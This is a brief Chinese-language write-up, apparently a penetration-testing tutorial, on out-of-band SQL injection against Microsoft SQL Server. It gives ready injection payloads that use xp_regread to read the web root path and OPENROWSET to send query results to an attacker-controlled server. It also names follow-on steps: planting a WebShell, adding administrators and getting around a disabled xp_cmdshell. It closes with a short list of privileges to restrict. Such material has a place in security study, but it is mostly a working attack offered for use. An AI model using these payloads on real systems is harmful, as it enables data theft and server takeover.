目標站點:
① 已屏蔽錯誤信息回顯。
② 使用普通權限數據庫帳號。
③ 系統打滿補丁。
常規報錯注入、聯合查詢均無回顯,陷入盲注困境。
利用 SQL Server 的 OPENROWSET 函數,**將查詢結果發送到攻擊者控制的外部 SQL Server**,在攻擊端的「事件探測器」中捕獲命令與數據,繞過目標站點的無回顯限制。
sp_addlinkedserver 建立鏈接服務器 → 需 sysadmin 失敗。OPENROWSET('SQLOLEDB','攻擊者IP;sa;密碼','查詢語句'),權限要求較低。'; DECLARE @result varchar(255); EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result OUTPUT; INSERT INTO laokai(cha8) VALUES('SELECT * FROM OPENROWSET(''SQLOLEDB'',''攻擊者IP;sa;密碼'',''SELECT * FROM pubs.dbo.authors WHERE au_fname='''''+@result+''''''') AS a');--OPENROWSET 查詢,寫入本地臨時表 laokai。'; DECLARE @a1 char(255); SET @a1=(SELECT cha8 FROM laokai); EXEC(@a1);--SELECT * FROM pubs.dbo.authors WHERE au_fname='C:\Inetpub\wwwroot' → **獲得絕對路徑**。OPENROWSET 寫入 WebShell、添加管理員等。xp_cmdshell,繞過其被刪除/禁用的限制。INSERT 而非 SELECT,實現數據竊取/寫入雙向操作。OPENROWSET/OPENDATASOURCE/sp_addlinkedserver 等分布式查詢權限。xp_regread、xp_cmdshell 等擴展存儲過程。